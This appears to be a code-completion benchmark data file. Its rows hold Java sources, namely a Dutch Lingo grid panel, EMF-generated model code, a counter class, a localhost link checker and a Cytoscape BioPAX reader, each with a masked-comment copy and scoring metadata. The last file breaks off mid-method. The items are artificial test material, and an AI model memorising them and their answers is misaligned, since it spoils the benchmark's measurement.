package lingo;_x000D_ _x000D_ import java.awt.Color;_x000D_ import java.awt.Dimension;_x000D_ import java.awt.Font;_x000D_ import java.awt.Graphics;_x000D_ import java.awt.LayoutManager;_x000D_ _x000D_ /**_x000D_ * Deze klasse beschrijft het aanmaken van een raster als ook de letters die gedrukt worden in de gui. _x000D_ * _x000D_ * @Author Snoeck Seppe_x000D_ * @Version 1.0 24/08/2015 13:00_x000D_ **/_x000D_ public class Raster extends javax.swing.JPanel {_x000D_ _x000D_ /**_x000D_ * Creates new form Raster_x000D_ */ _x000D_ Lingo lingo;_x000D_ _x000D_ String inputWoord = " ";_x000D_ _x000D_ public Raster() {_x000D_ initComponents();_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void paintComponent(Graphics g) {_x000D_ for (int y = 0; y < 360; y +=60) {_x000D_ int i = 0;_x000D_ for (int x = 0; x < 300; x +=60) {_x000D_ printKot(g,x,y);_x000D_ printLetter(g,x,y,i);_x000D_ i++;_x000D_ }_x000D_ }_x000D_ }_x000D_ _x000D_ public Raster(String inputwoord) {_x000D_ this.inputWoord = inputwoord;_x000D_ }_x000D_ _x000D_ /**_x000D_ *_x000D_ * @param g Graphics_x000D_ * @param x Een coördinaat op de x-as_x000D_ * @param y Een coördinaat op de y-as_x000D_ */_x000D_ public void printKot(Graphics g, int x, int y) {_x000D_ g.drawRect(x, y, 60, 60); _x000D_ }_x000D_ _x000D_ /**_x000D_ *_x000D_ * @param g Graphics_x000D_ * @param x Een coördinaat op de x-as_x000D_ * @param y Een coördinaat op de y-as_x000D_ * @param i Een teller om alle letter van het woord te doorlopen_x000D_ */_x000D_ public void printLetter(Graphics g, int x, int y, int i) {_x000D_ g.setFont(new Font("TimesRoman", Font.BOLD, 40)); _x000D_ g.setColor(Color.red);_x000D_ g.drawString(Character.toString(inputWoord.charAt(i)), 15 + x, 40 + y);_x000D_ g.setColor(Color.black);_x000D_ }_x000D_ _x000D_ /**_x000D_ * This method is called from within the constructor to initialize the form._x000D_ * WARNING: Do NOT modify this code. The content of this method is always_x000D_ * regenerated by the Form Editor._x000D_ */_x000D_ @SuppressWarnings("unchecked")_x000D_ // <editor-fold defaultstate="collapsed" desc="Generated Code"> _x000D_ private void initComponents() {_x000D_ _x000D_ javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);_x000D_ this.setLayout(layout);_x000D_ layout.setHorizontalGroup(_x000D_ layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)_x000D_ .addGap(0, 400, Short.MAX_VALUE)_x000D_ );_x000D_ layout.setVerticalGroup(_x000D_ layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)_x000D_ .addGap(0, 300, Short.MAX_VALUE)_x000D_ );_x000D_ }// </editor-fold> _x000D_ _x000D_ // Variables declaration - do not modify _x000D_ // End of variables declaration _x000D_ }
micabressan/trabajo_final
codes/H0MHPQHe.Java
903
/**_x000D_ *_x000D_ * @param g Graphics_x000D_ * @param x Een coördinaat op de x-as_x000D_ * @param y Een coördinaat op de y-as_x000D_ */
block_comment
nl
package lingo;_x000D_ _x000D_ import java.awt.Color;_x000D_ import java.awt.Dimension;_x000D_ import java.awt.Font;_x000D_ import java.awt.Graphics;_x000D_ import java.awt.LayoutManager;_x000D_ _x000D_ /**_x000D_ * Deze klasse beschrijft het aanmaken van een raster als ook de letters die gedrukt worden in de gui. _x000D_ * _x000D_ * @Author Snoeck Seppe_x000D_ * @Version 1.0 24/08/2015 13:00_x000D_ **/_x000D_ public class Raster extends javax.swing.JPanel {_x000D_ _x000D_ /**_x000D_ * Creates new form Raster_x000D_ */ _x000D_ Lingo lingo;_x000D_ _x000D_ String inputWoord = " ";_x000D_ _x000D_ public Raster() {_x000D_ initComponents();_x000D_ }_x000D_ _x000D_ @Override_x000D_ public void paintComponent(Graphics g) {_x000D_ for (int y = 0; y < 360; y +=60) {_x000D_ int i = 0;_x000D_ for (int x = 0; x < 300; x +=60) {_x000D_ printKot(g,x,y);_x000D_ printLetter(g,x,y,i);_x000D_ i++;_x000D_ }_x000D_ }_x000D_ }_x000D_ _x000D_ public Raster(String inputwoord) {_x000D_ this.inputWoord = inputwoord;_x000D_ }_x000D_ _x000D_ /**_x000D_ *_x000D_ * @param g Graphics_x000D_<SUF>*/_x000D_ public void printKot(Graphics g, int x, int y) {_x000D_ g.drawRect(x, y, 60, 60); _x000D_ }_x000D_ _x000D_ /**_x000D_ *_x000D_ * @param g Graphics_x000D_ * @param x Een coördinaat op de x-as_x000D_ * @param y Een coördinaat op de y-as_x000D_ * @param i Een teller om alle letter van het woord te doorlopen_x000D_ */_x000D_ public void printLetter(Graphics g, int x, int y, int i) {_x000D_ g.setFont(new Font("TimesRoman", Font.BOLD, 40)); _x000D_ g.setColor(Color.red);_x000D_ g.drawString(Character.toString(inputWoord.charAt(i)), 15 + x, 40 + y);_x000D_ g.setColor(Color.black);_x000D_ }_x000D_ _x000D_ /**_x000D_ * This method is called from within the constructor to initialize the form._x000D_ * WARNING: Do NOT modify this code. The content of this method is always_x000D_ * regenerated by the Form Editor._x000D_ */_x000D_ @SuppressWarnings("unchecked")_x000D_ // <editor-fold defaultstate="collapsed" desc="Generated Code"> _x000D_ private void initComponents() {_x000D_ _x000D_ javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);_x000D_ this.setLayout(layout);_x000D_ layout.setHorizontalGroup(_x000D_ layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)_x000D_ .addGap(0, 400, Short.MAX_VALUE)_x000D_ );_x000D_ layout.setVerticalGroup(_x000D_ layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)_x000D_ .addGap(0, 300, Short.MAX_VALUE)_x000D_ );_x000D_ }// </editor-fold> _x000D_ _x000D_ // Variables declaration - do not modify _x000D_ // End of variables declaration _x000D_ }
True
1,226
72
1,345
79
1,385
80
1,345
79
1,475
81
false
false
false
false
false
true
1,962
34055_7
/** * Copyright (c) 2012-2024 Marsha Chechik, Alessio Di Sandro, Michalis Famelis, * Rick Salay. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * Alessio Di Sandro - Implementation. */ package edu.toronto.cs.se.mavo.impl; import edu.toronto.cs.se.mavo.MAVOCollection; import edu.toronto.cs.se.mavo.MAVOElement; import edu.toronto.cs.se.mavo.MAVOPackage; import java.util.Collection; import org.eclipse.emf.common.notify.NotificationChain; import org.eclipse.emf.common.util.EList; import org.eclipse.emf.ecore.EClass; import org.eclipse.emf.ecore.InternalEObject; import org.eclipse.emf.ecore.util.EObjectWithInverseResolvingEList; import org.eclipse.emf.ecore.util.InternalEList; /** * <!-- begin-user-doc --> * An implementation of the model object '<em><b>Collection</b></em>'. * <!-- end-user-doc --> * <p> * The following features are implemented: * </p> * <ul> * <li>{@link edu.toronto.cs.se.mavo.impl.MAVOCollectionImpl#getMavoElements <em>Mavo Elements</em>}</li> * </ul> * * @generated */ public class MAVOCollectionImpl extends DecisionElementImpl implements MAVOCollection { /** * The cached value of the '{@link #getMavoElements() <em>Mavo Elements</em>}' reference list. * <!-- begin-user-doc --> * <!-- end-user-doc --> * @see #getMavoElements() * @generated * @ordered */ protected EList<MAVOElement> mavoElements; /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ protected MAVOCollectionImpl() { super(); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override protected EClass eStaticClass() { return MAVOPackage.Literals.MAVO_COLLECTION; } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ public EList<MAVOElement> getMavoElements() { if (mavoElements == null) { mavoElements = new EObjectWithInverseResolvingEList.ManyInverse<MAVOElement>(MAVOElement.class, this, MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS, MAVOPackage.MAVO_ELEMENT__COLLECTIONS); } return mavoElements; } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @SuppressWarnings("unchecked") @Override public NotificationChain eInverseAdd(InternalEObject otherEnd, int featureID, NotificationChain msgs) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: return ((InternalEList<InternalEObject>)(InternalEList<?>)getMavoElements()).basicAdd(otherEnd, msgs); } return super.eInverseAdd(otherEnd, featureID, msgs); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override public NotificationChain eInverseRemove(InternalEObject otherEnd, int featureID, NotificationChain msgs) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: return ((InternalEList<?>)getMavoElements()).basicRemove(otherEnd, msgs); } return super.eInverseRemove(otherEnd, featureID, msgs); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override public Object eGet(int featureID, boolean resolve, boolean coreType) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: return getMavoElements(); } return super.eGet(featureID, resolve, coreType); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @SuppressWarnings("unchecked") @Override public void eSet(int featureID, Object newValue) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: getMavoElements().clear(); getMavoElements().addAll((Collection<? extends MAVOElement>)newValue); return; } super.eSet(featureID, newValue); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override public void eUnset(int featureID) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: getMavoElements().clear(); return; } super.eUnset(featureID); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override public boolean eIsSet(int featureID) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: return mavoElements != null && !mavoElements.isEmpty(); } return super.eIsSet(featureID); } } //MAVOCollectionImpl
adisandro/MMINT
plugins/Core-Extensions/MAVO/edu.toronto.cs.se.mavo/src-gen/edu/toronto/cs/se/mavo/impl/MAVOCollectionImpl.java
1,620
/** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */
block_comment
nl
/** * Copyright (c) 2012-2024 Marsha Chechik, Alessio Di Sandro, Michalis Famelis, * Rick Salay. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * Alessio Di Sandro - Implementation. */ package edu.toronto.cs.se.mavo.impl; import edu.toronto.cs.se.mavo.MAVOCollection; import edu.toronto.cs.se.mavo.MAVOElement; import edu.toronto.cs.se.mavo.MAVOPackage; import java.util.Collection; import org.eclipse.emf.common.notify.NotificationChain; import org.eclipse.emf.common.util.EList; import org.eclipse.emf.ecore.EClass; import org.eclipse.emf.ecore.InternalEObject; import org.eclipse.emf.ecore.util.EObjectWithInverseResolvingEList; import org.eclipse.emf.ecore.util.InternalEList; /** * <!-- begin-user-doc --> * An implementation of the model object '<em><b>Collection</b></em>'. * <!-- end-user-doc --> * <p> * The following features are implemented: * </p> * <ul> * <li>{@link edu.toronto.cs.se.mavo.impl.MAVOCollectionImpl#getMavoElements <em>Mavo Elements</em>}</li> * </ul> * * @generated */ public class MAVOCollectionImpl extends DecisionElementImpl implements MAVOCollection { /** * The cached value of the '{@link #getMavoElements() <em>Mavo Elements</em>}' reference list. * <!-- begin-user-doc --> * <!-- end-user-doc --> * @see #getMavoElements() * @generated * @ordered */ protected EList<MAVOElement> mavoElements; /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ protected MAVOCollectionImpl() { super(); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override protected EClass eStaticClass() { return MAVOPackage.Literals.MAVO_COLLECTION; } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ public EList<MAVOElement> getMavoElements() { if (mavoElements == null) { mavoElements = new EObjectWithInverseResolvingEList.ManyInverse<MAVOElement>(MAVOElement.class, this, MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS, MAVOPackage.MAVO_ELEMENT__COLLECTIONS); } return mavoElements; } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @SuppressWarnings("unchecked") @Override public NotificationChain eInverseAdd(InternalEObject otherEnd, int featureID, NotificationChain msgs) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: return ((InternalEList<InternalEObject>)(InternalEList<?>)getMavoElements()).basicAdd(otherEnd, msgs); } return super.eInverseAdd(otherEnd, featureID, msgs); } /** * <!-- begin-user-doc --><SUF>*/ @Override public NotificationChain eInverseRemove(InternalEObject otherEnd, int featureID, NotificationChain msgs) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: return ((InternalEList<?>)getMavoElements()).basicRemove(otherEnd, msgs); } return super.eInverseRemove(otherEnd, featureID, msgs); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override public Object eGet(int featureID, boolean resolve, boolean coreType) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: return getMavoElements(); } return super.eGet(featureID, resolve, coreType); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @SuppressWarnings("unchecked") @Override public void eSet(int featureID, Object newValue) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: getMavoElements().clear(); getMavoElements().addAll((Collection<? extends MAVOElement>)newValue); return; } super.eSet(featureID, newValue); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override public void eUnset(int featureID) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: getMavoElements().clear(); return; } super.eUnset(featureID); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override public boolean eIsSet(int featureID) { switch (featureID) { case MAVOPackage.MAVO_COLLECTION__MAVO_ELEMENTS: return mavoElements != null && !mavoElements.isEmpty(); } return super.eIsSet(featureID); } } //MAVOCollectionImpl
False
1,197
22
1,458
25
1,444
29
1,458
25
1,676
29
false
false
false
false
false
true
1,232
74843_0
package be.odisee; /** * Een eenvoudige teller welke per 1 omhoog kan */ public class Teller { private int waarde; private boolean tellerStaatAan; /** * Default constructor: een Teller-object wordt aangemaakt * met waarde 0 en is uitgeschakeld. */ public Teller(){ this.waarde = 0; this.tellerStaatAan = false; } /** * Vermeerder waarde van Teller met 1. * Heeft geen effect als de teller uit staat. */ public void increment(){ if (tellerStaatAan){ this.waarde++; } } /** * Zet waarde van Teller op 0. * Heeft geen effect als de teller uit staat. */ public void reset(){ if (tellerStaatAan){ this.waarde = 0; } } /** * Waarde van de teller. Indien de teller uitstaat, geef nul terug. * @return waarde van de Teller */ public int getWaarde(){ if (tellerStaatAan) { return this.waarde; } else { return 0; } } /** Zet teller aan en zet waarde op 0 */ public void zetTellerAan(){ this.tellerStaatAan = true; this.waarde = 0; } /** Zet teller uit en zet waarde op 0 */ public void zetTellerUit(){ this.tellerStaatAan = false; this.waarde = 0; } /** Controleer of de teller aanstaat * @return true als de Teller aan staat */ public boolean staatTellerAan(){ return this.tellerStaatAan; } }
OdiseeSEF2324/Leerstof-klas-5-6
Les 2/Demos/Teller/src/main/java/be/odisee/Teller.java
506
/** * Een eenvoudige teller welke per 1 omhoog kan */
block_comment
nl
package be.odisee; /** * Een eenvoudige teller<SUF>*/ public class Teller { private int waarde; private boolean tellerStaatAan; /** * Default constructor: een Teller-object wordt aangemaakt * met waarde 0 en is uitgeschakeld. */ public Teller(){ this.waarde = 0; this.tellerStaatAan = false; } /** * Vermeerder waarde van Teller met 1. * Heeft geen effect als de teller uit staat. */ public void increment(){ if (tellerStaatAan){ this.waarde++; } } /** * Zet waarde van Teller op 0. * Heeft geen effect als de teller uit staat. */ public void reset(){ if (tellerStaatAan){ this.waarde = 0; } } /** * Waarde van de teller. Indien de teller uitstaat, geef nul terug. * @return waarde van de Teller */ public int getWaarde(){ if (tellerStaatAan) { return this.waarde; } else { return 0; } } /** Zet teller aan en zet waarde op 0 */ public void zetTellerAan(){ this.tellerStaatAan = true; this.waarde = 0; } /** Zet teller uit en zet waarde op 0 */ public void zetTellerUit(){ this.tellerStaatAan = false; this.waarde = 0; } /** Controleer of de teller aanstaat * @return true als de Teller aan staat */ public boolean staatTellerAan(){ return this.tellerStaatAan; } }
True
442
20
474
23
437
16
474
23
524
21
false
false
false
false
false
true
524
12211_1
package program; import java.io.*; import java.net.*; import java.util.ArrayList; import java.util.List; public class Controller /*implements Runnable*/{ private List<String> checkedUrls = new ArrayList(); private List<String> brokenUrls = new ArrayList(); //private String theUrl; //enkel voor multithreading /** * De list leeg maken. */ public void resetCheckedUrls(){ checkedUrls.clear(); } /** * De list leeg maken. */ public void resetBrokenUrls(){ brokenUrls.clear(); } /* Enkel voor @Override public void run(){ getWebpage(theUrl); }*/ /** * valideert of de url een lokale url is. * @param url * @return */ public static boolean validateUrl(String url) { return url.matches("((https?://)?localhost){1}([a-zA-Z0-9]*)?/?([a-zA-Z0-9\\:\\-\\._\\?\\,\\'/\\\\\\+&amp;%\\$#\\=~])*"); } /** * Poging om de header(HEAD) van een website te krijgen. * Krijgen we een header, wilt dit zeggen dat de link werkt, anders werkt de link niet. * @param targetUrl * @return * http://singztechmusings.wordpress.com/2011/05/26/java-how-to-check-if-a-web-page-exists-and-is-available/ */ public static boolean urlExists(String targetUrl) { HttpURLConnection httpUrlConn; try { httpUrlConn = (HttpURLConnection) new URL(targetUrl) .openConnection(); httpUrlConn.setRequestMethod("HEAD"); // Set timeouts in milliseconds httpUrlConn.setConnectTimeout(30000); httpUrlConn.setReadTimeout(30000); // Print HTTP status code/message for your information. System.out.println("Response Code: " + httpUrlConn.getResponseCode()); System.out.println("Response Message: " + httpUrlConn.getResponseMessage() +" - " + targetUrl); return (httpUrlConn.getResponseCode() == HttpURLConnection.HTTP_OK); } catch (Exception e) { System.out.println("Error: " + e.getMessage()); return false; } } /** * In de huidige lijn wordt gekeken of er "<a href=" gevonden wordt want dit wil zeggen dat daarachter een link staat. * @param line * @return **/ public static boolean checkForUrl(String line){ return line.matches("(.)*(<a href=){1}(.)*"); } /** * controleert of de url nog nagekeken is. * @param url * @return **/ public boolean notYetChecked(String url){ for(String s:checkedUrls){ if(url.equals(s)) return false; } return true; } /** * Heel de webpagina wordt ingeladen en er wordt naar links gezocht. * @param url * @return **/ public List[] getWebpage(String url){ List[] allUrls = new List[2]; String address = "127.0.0.1"; int port = 80; String get = url.split("http://localhost")[1]; String header = "GET " + get + " HTTP/1.1\n" + "Host: localhost\n" + "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8\n" + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n" + "Accept-Language: en-us,en;q=0.5\n" + "Accept-Encoding: gzip,deflate\n" + "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" + "Keep-Alive: 115\n" + "Connection: keep-alive\n" + "\r\n"; String link; //url toevoegen aan de lijst met reeds gecontroleerde url's. checkedUrls.add(url); try { //nieuwe socket aanmaken Socket sck = new Socket(address, port); //website inlezen BufferedReader rd = new BufferedReader(new InputStreamReader(sck.getInputStream())); BufferedWriter wr = new BufferedWriter( new OutputStreamWriter(sck.getOutputStream(), "ISO-8859-1")); wr.write(header); wr.flush(); System.out.println("REQUEST HEADER"); System.out.println(header); System.out.println("RESPONSE HEADER"); String line; //1 voor 1 elke lijn afgaan. while ((line = rd.readLine()) != null) { //System.out.println(line); if(checkForUrl(line)){ //Er staat een url op deze lijn. //tekst splitsen waar 'a href="' staat. String[] parts = line.split("a href=\""); for(int i=0; i<parts.length; i++){ if(parts[i].matches("http.*")){ //Dit gesplitste deel bevat een url met mss nog wat overbodige tekst achter. //verwijderen van tekst die nog achter de link staat. link = parts[i].substring(0, parts[i].indexOf("\"")); if(urlExists(link)){ //De url is een werkende url if(validateUrl(link) && notYetChecked(link) && !link.matches("(.)*.(pdf|jpg|png)")){ //link is een lokale url die nog niet gecontroleerd is. /*theUrl = link; Thread t = new Thread(); t.start();*/ getWebpage(link); } else {} }else{ //deze url is "broken" brokenUrls.add("Broken link:\t" + link + "\n On page:\t" + url + "\n\n"); } } } } } wr.close(); rd.close(); sck.close(); } catch (Exception e) { e.printStackTrace(); } //alle pagina's die gecontroleerd zijn. allUrls[0] = checkedUrls; //alle url's die een foutmelding gaven. allUrls[1] = brokenUrls; return allUrls; } }
FestiPedia-Java/JavaApplication
Linkrot/src/program/Controller.java
1,963
/** * De list leeg maken. */
block_comment
nl
package program; import java.io.*; import java.net.*; import java.util.ArrayList; import java.util.List; public class Controller /*implements Runnable*/{ private List<String> checkedUrls = new ArrayList(); private List<String> brokenUrls = new ArrayList(); //private String theUrl; //enkel voor multithreading /** * De list leeg<SUF>*/ public void resetCheckedUrls(){ checkedUrls.clear(); } /** * De list leeg maken. */ public void resetBrokenUrls(){ brokenUrls.clear(); } /* Enkel voor @Override public void run(){ getWebpage(theUrl); }*/ /** * valideert of de url een lokale url is. * @param url * @return */ public static boolean validateUrl(String url) { return url.matches("((https?://)?localhost){1}([a-zA-Z0-9]*)?/?([a-zA-Z0-9\\:\\-\\._\\?\\,\\'/\\\\\\+&amp;%\\$#\\=~])*"); } /** * Poging om de header(HEAD) van een website te krijgen. * Krijgen we een header, wilt dit zeggen dat de link werkt, anders werkt de link niet. * @param targetUrl * @return * http://singztechmusings.wordpress.com/2011/05/26/java-how-to-check-if-a-web-page-exists-and-is-available/ */ public static boolean urlExists(String targetUrl) { HttpURLConnection httpUrlConn; try { httpUrlConn = (HttpURLConnection) new URL(targetUrl) .openConnection(); httpUrlConn.setRequestMethod("HEAD"); // Set timeouts in milliseconds httpUrlConn.setConnectTimeout(30000); httpUrlConn.setReadTimeout(30000); // Print HTTP status code/message for your information. System.out.println("Response Code: " + httpUrlConn.getResponseCode()); System.out.println("Response Message: " + httpUrlConn.getResponseMessage() +" - " + targetUrl); return (httpUrlConn.getResponseCode() == HttpURLConnection.HTTP_OK); } catch (Exception e) { System.out.println("Error: " + e.getMessage()); return false; } } /** * In de huidige lijn wordt gekeken of er "<a href=" gevonden wordt want dit wil zeggen dat daarachter een link staat. * @param line * @return **/ public static boolean checkForUrl(String line){ return line.matches("(.)*(<a href=){1}(.)*"); } /** * controleert of de url nog nagekeken is. * @param url * @return **/ public boolean notYetChecked(String url){ for(String s:checkedUrls){ if(url.equals(s)) return false; } return true; } /** * Heel de webpagina wordt ingeladen en er wordt naar links gezocht. * @param url * @return **/ public List[] getWebpage(String url){ List[] allUrls = new List[2]; String address = "127.0.0.1"; int port = 80; String get = url.split("http://localhost")[1]; String header = "GET " + get + " HTTP/1.1\n" + "Host: localhost\n" + "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8\n" + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n" + "Accept-Language: en-us,en;q=0.5\n" + "Accept-Encoding: gzip,deflate\n" + "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" + "Keep-Alive: 115\n" + "Connection: keep-alive\n" + "\r\n"; String link; //url toevoegen aan de lijst met reeds gecontroleerde url's. checkedUrls.add(url); try { //nieuwe socket aanmaken Socket sck = new Socket(address, port); //website inlezen BufferedReader rd = new BufferedReader(new InputStreamReader(sck.getInputStream())); BufferedWriter wr = new BufferedWriter( new OutputStreamWriter(sck.getOutputStream(), "ISO-8859-1")); wr.write(header); wr.flush(); System.out.println("REQUEST HEADER"); System.out.println(header); System.out.println("RESPONSE HEADER"); String line; //1 voor 1 elke lijn afgaan. while ((line = rd.readLine()) != null) { //System.out.println(line); if(checkForUrl(line)){ //Er staat een url op deze lijn. //tekst splitsen waar 'a href="' staat. String[] parts = line.split("a href=\""); for(int i=0; i<parts.length; i++){ if(parts[i].matches("http.*")){ //Dit gesplitste deel bevat een url met mss nog wat overbodige tekst achter. //verwijderen van tekst die nog achter de link staat. link = parts[i].substring(0, parts[i].indexOf("\"")); if(urlExists(link)){ //De url is een werkende url if(validateUrl(link) && notYetChecked(link) && !link.matches("(.)*.(pdf|jpg|png)")){ //link is een lokale url die nog niet gecontroleerd is. /*theUrl = link; Thread t = new Thread(); t.start();*/ getWebpage(link); } else {} }else{ //deze url is "broken" brokenUrls.add("Broken link:\t" + link + "\n On page:\t" + url + "\n\n"); } } } } } wr.close(); rd.close(); sck.close(); } catch (Exception e) { e.printStackTrace(); } //alle pagina's die gecontroleerd zijn. allUrls[0] = checkedUrls; //alle url's die een foutmelding gaven. allUrls[1] = brokenUrls; return allUrls; } }
True
1,479
11
1,623
11
1,750
13
1,623
11
1,939
14
false
false
false
false
false
true
3,852
164149_2
/* Copyright 2008 - The Cytoscape Consortium (www.cytoscape.org) * * The Cytoscape Consortium is: * - Institute for Systems Biology * - University of California San Diego * - Memorial Sloan-Kettering Cancer Center * - Institut Pasteur * - Agilent Technologies * * Authors: B. Arman Aksoy, Thomas Kelder, Emek Demir * * This file is part of PaxtoolsPlugin. * * PaxtoolsPlugin is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * PaxtoolsPlugin is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this project. If not, see <http://www.gnu.org/licenses/>. */ package org.biyoenformatik.cytoscape; import cytoscape.data.readers.GraphReader; import cytoscape.data.CyAttributes; import cytoscape.layout.CyLayoutAlgorithm; import cytoscape.util.CyNetworkNaming; import cytoscape.CyNetwork; import cytoscape.CyNode; import cytoscape.CyEdge; import cytoscape.Cytoscape; import cytoscape.visual.VisualStyle; import cytoscape.visual.VisualMappingManager; import cytoscape.view.CyNetworkView; import org.biopax.paxtools.model.Model; import org.biopax.paxtools.model.level2.*; import org.biopax.paxtools.io.jena.JenaIOHandler; import org.biyoenformatik.cytoscape.util.BioPAXUtil; import org.mskcc.biopax_plugin.util.cytoscape.CytoscapeWrapper; import org.mskcc.biopax_plugin.util.cytoscape.NetworkListener; import org.mskcc.biopax_plugin.util.cytoscape.LayoutUtil; import org.mskcc.biopax_plugin.style.BioPaxVisualStyleUtil; import org.mskcc.biopax_plugin.view.BioPaxContainer; import org.mskcc.biopax_plugin.mapping.MapBioPaxToCytoscape; import org.mskcc.biopax_plugin.mapping.MapNodeAttributes; import java.io.*; import giny.view.GraphView; public class PaxtoolsReader implements GraphReader { private Model biopaxModel = null; private String fileName = null; private CyLayoutAlgorithm layoutAlgorithm; private int[] nodeIndices, edgeIndices; public PaxtoolsReader(String fileName) { this.fileName = fileName; this.layoutAlgorithm = new LayoutUtil(); } public PaxtoolsReader(Model biopaxModel) { this.biopaxModel = biopaxModel; this.layoutAlgorithm = new LayoutUtil(); } public void read() throws IOException { if( biopaxModel == null ) { FileInputStream ioStream = new FileInputStream(fileName); biopaxModel = new JenaIOHandler().convertFromOWL(ioStream); } BioPAXUtil.CytoscapeGraphElements csGraphEls = BioPAXUtil.bioPAXtoCytoscapeGraph(biopaxModel); nodeIndices = new int[csGraphEls.nodes.size()]; edgeIndices = new int[csGraphEls.edges.size()]; int count = 0; for(CyNode node: csGraphEls.nodes) nodeIndices[count++] = node.getRootGraphIndex(); count = 0; for(CyEdge edge: csGraphEls.edges) edgeIndices[count++] = edge.getRootGraphIndex(); } public void layout(GraphView view) { getLayoutAlgorithm().doLayout((CyNetworkView) view); } public CyLayoutAlgorithm getLayoutAlgorithm() { return layoutAlgorithm; } public int[] getNodeIndicesArray() { return nodeIndices; } public int[] getEdgeIndicesArray() { return edgeIndices; } public void doPostProcessing(CyNetwork cyNetwork) { /** * Sets a network attribute which indicates this network * is a biopax network */ CyAttributes networkAttributes = Cytoscape.getNetworkAttributes(); // get cyNetwork id String networkID = cyNetwork.getIdentifier(); // set biopax network attribute networkAttributes.setAttribute(networkID, MapBioPaxToCytoscape.BIOPAX_NETWORK, Boolean.TRUE); // Repair Canonical Name MapBioPaxToCytoscape.repairCanonicalName(cyNetwork); // repair network name if (getNetworkName().equals("")) { MapBioPaxToCytoscape.repairNetworkName(cyNetwork); } // Set default Quick Find Index networkAttributes.setAttribute(cyNetwork.getIdentifier(), "quickfind.default_index", MapNodeAttributes.BIOPAX_SHORT_NAME); // Keep the model map BioPAXUtil.setNetworkModel(cyNetwork, biopaxModel); // set url to pathway commons - // used for pathway commons context menus String urlToBioPAXWebServices = System.getProperty("biopax.web_services_url"); if (urlToBioPAXWebServices != null && urlToBioPAXWebServices.length() > 0) { networkAttributes.setAttribute(cyNetwork.getIdentifier(), "biopax.web_services_url", urlToBioPAXWebServices); System.setProperty("biopax.web_services_url", ""); } // set data source attribute // used for pathway commons context menus String dataSources = System.getProperty("biopax.data_sources"); if (dataSources != null && dataSources.length() > 0) { networkAttributes.setAttribute(cyNetwork.getIdentifier(), "biopax.data_sources", dataSources); System.setProperty("biopax.data_sources", ""); } // Set-up the BioPax Visual Style final VisualStyle bioPaxVisualStyle = BioPaxVisualStyleUtil.getBioPaxVisualStyle(); final VisualMappingManager manager = Cytoscape.getVisualMappingManager(); final CyNetworkView view = Cytoscape.getNetworkView(cyNetwork.getIdentifier()); view.setVisualStyle(bioPaxVisualStyle.getName()); manager.setVisualStyle(bioPaxVisualStyle); view.applyVizmapper(bioPaxVisualStyle); // Set up BP UI CytoscapeWrapper.initBioPaxPlugInUI(); 